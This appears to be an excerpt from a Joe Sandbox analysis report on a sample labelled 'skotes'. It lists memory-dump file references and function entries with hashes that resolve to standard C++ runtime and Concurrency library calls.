Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 05fc3c2d59e4224e9521c7144f43296ba9509c11cf30f62493afe4b31cd4f477
Instruction ID: c301186d12d3e3380029632107b0a9a7114f8bc904586ad1530fdecef8715d33
Opcode Fuzzy Hash: 05fc3c2d59e4224e9521c7144f43296ba9509c11cf30f62493afe4b31cd4f477
Instruction Fuzzy Hash: A4314875A00309EFEF10DF94C8C4AAE7BB9BB44300F1404AAD941AB357D778A946DBA1

Function 007413F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007413FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00741447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0074147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0074152A

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 4dc28f90988d19b1d5c9fcdc968704f7993786d71859b9de0c2a51a53cbc0997
Instruction ID: 5c15927b64dd572e66fbcaf16785d4218571ea5f05a80ce71b55cfd3e6339fda
Opcode Fuzzy Hash: 4dc28f90988d19b1d5c9fcdc968704f7993786d71859b9de0c2a51a53cbc0997
Instruction Fuzzy Hash: 833152B1A00615DFCF14EFA8C4959EDFBB1BF48710B54822DE516A7381DB78A981CB90

Function 0072BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0072BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0072BBE4
_xtime_get.LIBCPMT ref: 0072BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0072BC13

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 39efc49d017f3dac135ee67a239a3805f9d70b1fcec1e9944f1222076bd86285
Instruction ID: 9ae2bba17ee91f46c3fa95cb4548d9c04875254cc447786b021c2aa7a432ae47
Opcode Fuzzy Hash: 39efc49d017f3dac135ee67a239a3805f9d70b1fcec1e9944f1222076bd86285
Instruction Fuzzy Hash: 26213272A00229EFDF01EFA4ED859BEB7B9EF18710F104019F501B7251DB789D419BA0

Function 00739C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00739C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00739CE8
std::bad_exception::bad_exception.LIBCMT ref: 00739CFE
std::bad_exception::bad_exception.LIBCMT ref: 00739D6A

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 50c17f7c06727656297790e2d97cd171f7134fb3cd82df8a0af5327bc07ad187
Instruction ID: fe91e1f06bbd447d0e9299aaa441ac2ebfe6cb6705454a83775619f5681f984c
Opcode Fuzzy Hash: 50c17f7c06727656297790e2d97cd171f7134fb3cd82df8a0af5327bc07ad187
Instruction Fuzzy Hash: 222188B5A00514DFEB05EF68D48BD9DB7B4EF05310F204065F541AB253DB79AD41CB51

Function 0073A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0073A069

Part of subcall function 0073B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0073B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0073A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0073A0CB

Part of subcall function 0073AB41: List.LIBCONCRT ref: 0073AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0073A0DB

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: f854162026b27205bf1ce755ed1002dfa014ef8c7739813c151a11f2b6f49297
Instruction ID: a06eaf55a5bbb8a15f73ebdab8fba1c244f38a4ed9d066760266e91283d48a2f
Opcode Fuzzy Hash: f854162026b27205bf1ce755ed1002dfa014ef8c7739813c151a11f2b6f49297
Instruction Fuzzy Hash: E121B032500614EFDB28EF65D9918ABF3F5FF48300B00495DE482A7652DB38F905CBA2

Function 00734885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00734893
ListArray.LIBCONCRT ref: 007348A5

Part of subcall function 00735555: _InternalDeleteHelper.LIBCONCRT ref: 00735564

ListArray.LIBCONCRT ref: 007348AF
_InternalDeleteHelper.LIBCONCRT ref: 007348C8

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
